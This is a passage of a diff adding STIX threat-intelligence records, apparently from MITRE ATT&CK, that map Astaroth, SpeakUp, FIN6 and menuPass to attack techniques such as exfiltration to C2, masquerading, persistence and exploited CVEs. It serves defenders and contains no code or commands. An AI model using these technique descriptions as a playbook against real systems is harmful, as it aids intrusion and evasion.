"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.816Z", + "id": "relationship--8d34f263-bd94-44a4-b8ec-b6cae06dcdd2", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.240Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) checks for the presence of Avast antivirus in the C:\\Program\\Files\\ folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.845Z", + "id": "relationship--4f90f58d-de6a-41b8-8ffd-1db5da42db34", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.236Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects the timestamp from the infected machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.848Z", + "id": "relationship--04d60222-e8da-4de5-bc58-dcfae65986f5", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.239Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) exfiltrates collected information from its r1.log file to the external C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.864Z", + "id": "relationship--76b77ff0-54db-40bd-910b-2776c714075d", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects data in a plaintext file named r1.log before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.865Z", + "id": "relationship--f26e1997-733e-4c3c-ac26-294048466c52", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.312Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.879Z", + "id": "relationship--abe93e80-2fc7-4c71-846e-b476529b4ae6", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.341Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) creates a startup item for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.877Z", + "id": "relationship--e772ce2d-bc2b-4e7f-af67-700737c75d2c", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.330Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) encodes data using Base64 before sending it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.880Z", + "id": "relationship--3a1883a0-8626-4cf0-8e0f-19bf9cf39a30", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses the LoadLibraryExW() function to load additional modules.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.893Z", + "id": "relationship--30c9343b-bb15-494a-a1cf-4449131ec216", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) can be loaded through regsvr32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.895Z", + "id": "relationship--49eb0604-2dee-4dcd-8029-cdd478033749", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.338Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) searches for unins000.exe (GAS Tecnologia software), Syswow64\\userinit.exe or System32\\userinit.exe to evasively create a new process in suspended state.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.897Z", + "id": "relationship--87a90347-6f15-461c-a44c-9acf503a606b", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T14:45:59.674Z", + "id": "relationship--935681a5-d027-4c13-8565-54cd8505bf61", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.854Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T14:45:59.681Z", + "id": "relationship--ad7770c3-fe24-4285-9ce2-1616a1061472", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.849Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has renamed the \"psexec\" service name to \"mstdc\" to masquerade as a legitimate Windows executable.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T15:08:45.079Z", + "id": "relationship--87c11236-9f13-4179-aa6f-7b0fe9124a13", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.777Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Pastebin to host content for the operation.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T15:08:45.097Z", + "id": "relationship--41ba13d1-5681-402e-a847-08b7e7b12f42", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.781Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used tools like Adfind to query users, groups, organizational units, and trusts.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T15:08:45.101Z", + "id": "relationship--9fcb40e0-a3a8-4625-b889-0d623960aa3d", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.857Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has created Windows services to execute encoded PowerShell commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T15:08:45.104Z", + "id": "relationship--b106e9ad-dbde-43c7-a38d-da5c87e1da05", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.855Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has been seen changing malicious files to appear legitimate. They have also renamed [certutil](https://attack.mitre.org/software/S0160) and move it to a different location on system to avoid detection based on use of the tool. The group has also used [esentutl](https://attack.mitre.org/software/S0404) to change file extensions to avoid detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T16:58:29.391Z", + "id": "relationship--d464c661-d4da-427f-8c16-dfc275735fe9", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-10-14T18:50:47.285Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + }, + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "description": "Matsuda, A., Muhammad, I.. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved April 22, 2019.", + "source_name": "FireEye APT10 September 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encrypted files and information before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T16:58:29.414Z", + "id": "relationship--d844fdcc-a0d1-46b4-a4dc-f56063ef9584", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.777Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has collected various files from the compromised computers.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T16:58:29.416Z", + "id": "relationship--dfedbce3-afe2-46f4-80fb-7f3e802c5f03", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.925Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used key loggers to steal usernames and passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T16:58:29.419Z", + "id": "relationship--5680146f-fc33-4b3e-bbc0-66a7f74587d3", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.924Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T16:58:29.703Z", + "id": "relationship--a552bf3d-a438-406f-8f5b-8e263adad080", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:17.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) checks for availability of specific ports on servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.286Z", + "id": "relationship--467f79d6-edf7-4e6a-a0d7-8196cd406ce1", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.247Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) can perform brute forcing using a pre-defined list of usernames and passwords in an attempt to log in to administrative panels.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.299Z", + "id": "relationship--3222edc5-bed6-4e8f-b62b-d76040754218", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.268Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) encodes C&C communication using Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.303Z", + "id": "relationship--c035e54b-c504-4e4f-9915-c2f37236ef34", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.277Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) attempts to exploit the following vulnerabilities in order to execute its malicious script: CVE-2012-0874, CVE-2010-1871, CVE-2017-10271, CVE-2018-2894, CVE-2016-3088, JBoss AS 3/4/5/6, and the Hadoop YARN ResourceManager.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.322Z", + "id": "relationship--8195cc4a-3415-49b9-9338-156b56ac0e30", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.293Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) encodes its second-stage payload with Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.332Z", + "id": "relationship--ca8af6f0-da6b-40c8-81cb-764e1df0fd0a", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.295Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses cron tasks to ensure persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.334Z", + "id": "relationship--15e5ddeb-ad28-44c0-a7a7-0fe69e05456d", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.321Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses the arp -a command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.336Z", + "id": "relationship--caa06b6c-b59e-4986-87f5-fdab9d9d3534", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.318Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses the ifconfig -a command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.349Z", + "id": "relationship--74467d5d-5b28-4b91-9494-e421ddeabebe", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.349Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + 